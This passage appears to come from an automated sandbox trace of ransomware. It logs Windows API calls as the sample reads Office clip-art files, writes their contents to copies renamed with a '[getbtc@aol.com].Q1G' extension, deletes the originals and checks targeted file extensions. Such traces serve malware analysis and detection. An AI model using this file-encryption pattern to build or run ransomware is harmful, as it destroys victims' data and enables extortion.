Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0244.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.935] lstrlenW (lpString=".doc") returned 4 [0244.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.936] lstrlenW (lpString=".docx") returned 5 [0244.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.936] lstrlenW (lpString=".pdf") returned 4 [0244.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.936] lstrlenW (lpString=".xls") returned 4 [0244.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.936] lstrlenW (lpString=".xlsx") returned 5 [0244.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.936] lstrlenW (lpString=".ppt") returned 4 [0244.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.936] lstrlenW (lpString=".zip") returned 4 [0244.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.936] lstrlenW (lpString=".rar") returned 4 [0244.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.936] lstrlenW (lpString=".bz2") returned 4 [0244.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.936] lstrlenW (lpString=".7z") returned 3 [0244.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.936] lstrlenW (lpString=".dbf") returned 4 [0244.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.936] lstrlenW (lpString=".1cd") returned 4 [0244.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.936] lstrlenW (lpString=".jpg") returned 4 [0244.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.936] lstrlenW (lpString=".doc") returned 4 [0244.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.936] lstrlenW (lpString=".docx") returned 5 [0244.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.937] lstrlenW (lpString=".pdf") returned 4 [0244.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.937] lstrlenW (lpString=".xls") returned 4 [0244.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.937] lstrlenW (lpString=".xlsx") returned 5 [0244.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.937] lstrlenW (lpString=".ppt") returned 4 [0244.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.937] lstrlenW (lpString=".zip") returned 4 [0244.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.937] lstrlenW (lpString=".rar") returned 4 [0244.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.937] lstrlenW (lpString=".bz2") returned 4 [0244.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.937] lstrlenW (lpString=".7z") returned 3 [0244.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.937] lstrlenW (lpString=".dbf") returned 4 [0244.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.937] lstrlenW (lpString=".1cd") returned 4 [0244.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0244.937] lstrlenW (lpString=".jpg") returned 4 [0244.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.938] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.938] lstrlenW (lpString="BL00985_.WMF") returned 12 [0244.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.938] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3768) returned 1 [0244.938] CloseHandle (hObject=0x37c) returned 1 [0244.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0244.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.938] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.939] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.939] GetLastError () returned 0x0 [0244.939] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xeb8, lpOverlapped=0x0) returned 1 [0244.941] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0244.942] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.942] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.942] SetEndOfFile (hFile=0x324) returned 1 [0244.942] CloseHandle (hObject=0x324) returned 1 [0244.942] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.942] SetEndOfFile (hFile=0x37c) returned 1 [0244.945] CloseHandle (hObject=0x37c) returned 1 [0244.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0244.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.945] lstrlenW (lpString=".doc") returned 4 [0244.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.945] lstrlenW (lpString=".docx") returned 5 [0244.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.946] lstrlenW (lpString=".pdf") returned 4 [0244.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.946] lstrlenW (lpString=".xls") returned 4 [0244.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.946] lstrlenW (lpString=".xlsx") returned 5 [0244.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.946] lstrlenW (lpString=".ppt") returned 4 [0244.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.946] lstrlenW (lpString=".zip") returned 4 [0244.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.946] lstrlenW (lpString=".rar") returned 4 [0244.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.946] lstrlenW (lpString=".bz2") returned 4 [0244.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.946] lstrlenW (lpString=".7z") returned 3 [0244.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.946] lstrlenW (lpString=".dbf") returned 4 [0244.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.946] lstrlenW (lpString=".1cd") returned 4 [0244.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.946] lstrlenW (lpString=".jpg") returned 4 [0244.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.946] lstrlenW (lpString=".doc") returned 4 [0244.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.947] lstrlenW (lpString=".docx") returned 5 [0244.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.947] lstrlenW (lpString=".pdf") returned 4 [0244.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.947] lstrlenW (lpString=".xls") returned 4 [0244.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.947] lstrlenW (lpString=".xlsx") returned 5 [0244.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.947] lstrlenW (lpString=".ppt") returned 4 [0244.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.947] lstrlenW (lpString=".zip") returned 4 [0244.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.947] lstrlenW (lpString=".rar") returned 4 [0244.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.947] lstrlenW (lpString=".bz2") returned 4 [0244.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.947] lstrlenW (lpString=".7z") returned 3 [0244.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.947] lstrlenW (lpString=".dbf") returned 4 [0244.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.947] lstrlenW (lpString=".1cd") returned 4 [0244.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0244.947] lstrlenW (lpString=".jpg") returned 4 [0244.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.948] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.948] lstrlenW (lpString="BOAT.WMF") returned 8 [0244.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.948] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3350) returned 1 [0244.948] CloseHandle (hObject=0x37c) returned 1 [0244.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0244.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.949] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.949] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.949] GetLastError () returned 0x0 [0244.949] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xd16, lpOverlapped=0x0) returned 1 [0244.951] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0244.952] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.952] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0244.952] SetEndOfFile (hFile=0x324) returned 1 [0244.952] CloseHandle (hObject=0x324) returned 1 [0244.952] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.952] SetEndOfFile (hFile=0x37c) returned 1 [0244.954] CloseHandle (hObject=0x37c) returned 1 [0244.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1 [0244.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.955] lstrlenW (lpString=".doc") returned 4 [0244.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.955] lstrlenW (lpString=".docx") returned 5 [0244.955] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0244.955] lstrlenW (lpString=".pdf") returned 4 [0244.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.955] lstrlenW (lpString=".xls") returned 4 [0244.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.955] lstrlenW (lpString=".xlsx") returned 5 [0244.955] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0244.956] lstrlenW (lpString=".ppt") returned 4 [0244.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.956] lstrlenW (lpString=".zip") returned 4 [0244.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.956] lstrlenW (lpString=".rar") returned 4 [0244.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.956] lstrlenW (lpString=".bz2") returned 4 [0244.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.956] lstrlenW (lpString=".7z") returned 3 [0244.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.956] lstrlenW (lpString=".dbf") returned 4 [0244.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.956] lstrlenW (lpString=".1cd") returned 4 [0244.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.956] lstrlenW (lpString=".jpg") returned 4 [0244.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.956] lstrlenW (lpString=".doc") returned 4 [0244.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.956] lstrlenW (lpString=".docx") returned 5 [0244.956] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0244.956] lstrlenW (lpString=".pdf") returned 4 [0244.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.956] lstrlenW (lpString=".xls") returned 4 [0244.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.956] lstrlenW (lpString=".xlsx") returned 5 [0244.956] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0244.956] lstrlenW (lpString=".ppt") returned 4 [0244.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.957] lstrlenW (lpString=".zip") returned 4 [0244.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.957] lstrlenW (lpString=".rar") returned 4 [0244.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.957] lstrlenW (lpString=".bz2") returned 4 [0244.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.957] lstrlenW (lpString=".7z") returned 3 [0244.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.957] lstrlenW (lpString=".dbf") returned 4 [0244.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.957] lstrlenW (lpString=".1cd") returned 4 [0244.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0244.957] lstrlenW (lpString=".jpg") returned 4 [0244.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.957] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.957] lstrlenW (lpString="BOATINST.WMF") returned 12 [0244.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.958] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=29004) returned 1 [0244.958] CloseHandle (hObject=0x37c) returned 1 [0244.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0244.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.958] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.958] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.959] GetLastError () returned 0x0 [0244.959] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x714c, lpOverlapped=0x0) returned 1 [0244.961] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x7150, lpOverlapped=0x0) returned 1 [0244.962] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.962] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.963] SetEndOfFile (hFile=0x324) returned 1 [0244.963] CloseHandle (hObject=0x324) returned 1 [0244.963] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.963] SetEndOfFile (hFile=0x37c) returned 1 [0244.965] CloseHandle (hObject=0x37c) returned 1 [0244.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0244.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.966] lstrlenW (lpString=".doc") returned 4 [0244.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.966] lstrlenW (lpString=".docx") returned 5 [0244.966] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0244.966] lstrlenW (lpString=".pdf") returned 4 [0244.966] lstrcmpiW (lpString1=".pdf", 